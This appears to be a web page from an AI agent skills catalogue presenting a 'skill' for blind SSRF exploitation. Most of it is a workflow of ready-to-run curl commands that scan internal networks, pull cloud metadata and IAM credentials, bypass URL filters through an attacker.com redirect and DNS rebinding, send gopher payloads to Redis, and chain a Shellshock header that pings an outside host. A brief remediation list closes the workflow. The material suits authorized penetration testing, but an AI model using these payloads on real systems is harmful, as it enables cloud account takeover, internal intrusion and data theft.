Performing Blind Ssrf Exploitation
Detect and exploit blind Server-Side Request Forgery vulnerabilities using out-of-band techniques, DNS interactions, and timing analysis to access internal services and cloud metadata endpoints.
MCP get_skill({ skillId: "performing-blind-ssrf-exploitation-dd9ea6e5" })Use this skill with your agent
Create a free account and connect via MCP
# Performing Blind SSRF Exploitation
## When to Use
- When testing URL/webhook input parameters where server-side responses are not reflected
- During assessment of applications that fetch external resources (avatars, previews, imports)
- When testing PDF generators, image processors, or document converters for SSRF
- During cloud security assessments to detect metadata endpoint access
- When evaluating webhook functionality and URL validation implementations
## Prerequisites
- Burp Suite Professional with Burp Collaborator for OOB detection
- interact.sh or webhook.site for external callback monitoring
- Understanding of SSRF attack vectors and internal network enumeration
- Knowledge of cloud metadata endpoints (AWS, GCP, Azure)
- VPS or controlled server for advanced exploitation callback handling
- Python with requests library for automation scripts
## Workflow
### Step 1 — Identify Blind SSRF Input Points
```bash
# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=
# Test URL fetch functionality
curl -X POST http://target.com/api/fetch-url \
-H "Content-Type: application/json" \
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
# Test webhook configuration
curl -X POST http://target.com/api/webhooks \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
# Test image/avatar URL
curl -X POST http://target.com/api/profile/avatar \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
# Test document import
curl -X POST http://target.com/api/import \
-H "Content-Type: application/json" \
-d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
```
### Step 2 — Confirm Blind SSRF with Out-of-Band Detection
```bash
# Use Burp Collaborator for DNS + HTTP callbacks
# Generate collaborator payload: xxxxxx.oastify.com
# DNS-based detection (works even with HTTP blocked)
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# Check Collaborator for DNS lookups
# HTTP-based detection
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# Check for HTTP requests in Collaborator
# interact.sh alternative
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://RANDOM.interact.sh"}'
# Monitor interact.sh dashboard for interactions
```
### Step 3 — Enumerate Internal Network
```bash
# Scan internal IP ranges via blind SSRF
# Use timing differences to determine if hosts are alive
# Scan common internal ranges
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
start=$(date +%s%N)
curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
end=$(date +%s%N)
elapsed=$(( (end - start) / 1000000 ))
echo "$ip: ${elapsed}ms"
done
# Port scanning via blind SSRF
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
curl -X POST http://target.com/api/fetch \
-d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
echo "Port $port tested"
done
# Use gopher:// for more advanced internal service interaction
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
```
### Step 4 — Access Cloud Metadata Endpoints
```bash
# AWS metadata (IMDSv1)
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
# AWS IAM credentials
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP metadata
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
# Azure metadata
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
# DNS rebinding for metadata access (bypass IP blocking)
# Use services like rebinder.net to create DNS rebinding domains
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
```
### Step 5 — Bypass SSRF Filters
```bash
# IP representation bypass
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}' # Hex
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}' # Decimal
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}' # Octal
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}' # Short
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}' # IPv6
# URL parsing confusion
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'
# Redirect-based bypass
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'
# DNS rebinding
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'
```
### Step 6 — Escalate Blind SSRF to Data Exfiltration
```bash
# Exfiltrate data via DNS (when only DNS callback works)
# If you achieve SSRF to a service that reflects data:
# Chain: SSRF -> internal service -> DNS exfiltration
# Use gopher protocol for Redis command execution
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'
# Chain blind SSRF with Shellshock on internal hosts
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# With User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"
# Exploit internal services via SSRF
# Redis: write SSH key
# Memcached: inject serialized objects
# Elasticsearch: read indices
# Internal API: access authenticated endpoints
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| Blind SSRF | Server makes request but response is not visible to attacker |
| Out-of-Band Detection | Using external callbacks (DNS, HTTP) to confirm SSRF execution |
| DNS Rebinding | Technique to bypass IP-based SSRF filters by changing DNS resolution |
| Cloud Metadata | Instance metadata endpoints accessible via SSRF for credential theft |
| Gopher Protocol | Protocol allowing crafted payloads to interact with internal TCP services |
| Time-Based Detection | Detecting SSRF success by measuring response time differences |
| SSRF Chain | Combining SSRF with other vulnerabilities for greater impact |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| Burp Collaborator | Out-of-band interaction server for DNS and HTTP callback detection |
| interact.sh | Open-source OOB interaction tool by ProjectDiscovery |
| SSRFmap | Automated SSRF detection and exploitation framework |
| Gopherus | Generate gopher payloads for exploiting internal services via SSRF |
| webhook.site | Free webhook receiver for testing SSRF callbacks |
| rebinder.net | DNS rebinding service for bypassing SSRF IP filters |
## Common Scenarios
1. **Cloud Credential Theft** — Exploit blind SSRF to access AWS/GCP/Azure metadata endpoints and steal IAM credentials for cloud account compromise
2. **Internal Service Discovery** — Use timing-based blind SSRF to enumerate internal network hosts and open ports
3. **Redis Exploitation** — Chain blind SSRF with gopher:// protocol to execute commands on internal Redis instances
4. **Webhook Abuse** — Exploit webhook URL fields to scan internal networks and exfiltrate data through OOB channels
5. **PDF Generator SSRF** — Inject internal URLs into PDF generation features to exfiltrate internal content in rendered documents
## Output Format
```
## Blind SSRF Assessment Report
- **Target**: http://target.com/api/fetch-url
- **Detection Method**: Burp Collaborator DNS + HTTP callback
- **Internal Access Confirmed**: Yes
### Findings
| # | Input Point | Payload | Detection | Impact |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url parameter | http://collaborator | HTTP callback | Confirmed SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis write confirmed | RCE potential |
### Internal Network Map
| Host | Port | Service | Accessible |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | Yes |
| 10.0.0.10 | 9200 | Elasticsearch | Yes |
| 169.254.169.254 | 80 | AWS Metadata | Yes |
### Remediation
- Implement allowlist of permitted external domains for URL fetching
- Block requests to private IP ranges and cloud metadata endpoints
- Use IMDSv2 (token-required) for AWS instance metadata
- Disable unused URL schemes (gopher, file, dict)
- Implement network-level segmentation for application servers
```Related Skills
More skills in Security & Compliance
1password
Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in, and reading/injecting secrets for commands.
1password
Set up and use 1Password CLI for sign-in, desktop integration, and reading or injecting secrets.
Accessibility Lead
Accessibility team lead and orchestrator. Use proactively on EVERY task that involves web UI code, HTML, JSX, CSS, React components, web pages, server-side templates (.leaf, .ejs, .erb, .hbs), or any user-facing web content. This agent coordinates the accessibility specialist team and ensures no accessibility requirement is missed. Runs the final review before any UI code is considered complete. Applies to any web framework, server-side templating framework (Vapor/Leaf, Rails/ERB, Django/Jinja, Express/EJS), or vanilla HTML/CSS/JS. Works alongside other team leads (e.g., swift-lead) in multi-language projects.
Accessibility Regression Detector
Detects accessibility regressions by comparing audit results across commits/branches. Tracks score trends, identifies new issues, and validates previous fixes remain in place.
Accessibility Statement
Generates conformance/accessibility statements following W3C or EU model templates. Takes audit results as input, maps to conformance claims, identifies known limitations, and outputs a deployable HTML page or markdown document.
Accessibility Tool Builder
Expert in building accessibility scanning tools, rule engines, document parsers, report generators, and audit automation. WCAG criterion mapping, severity scoring, CLI/GUI scanner architecture, CI/CD integration.
Explore Other Categories
Skills from other categories with shared topics
Analyzing Malicious PDF With Peepdf
Perform static analysis of malicious PDF documents using peepdf, pdfid, and pdf-parser to extract embedded JavaScript, shellcode, and suspicious objects.
Analyzing PDF Malware With Pdfid
Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Determines the attack vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage.
Building Devsecops Pipeline With GitLab CI
Design and implement a comprehensive DevSecOps pipeline in GitLab CI/CD integrating SAST, DAST, container scanning, dependency scanning, and secret detection.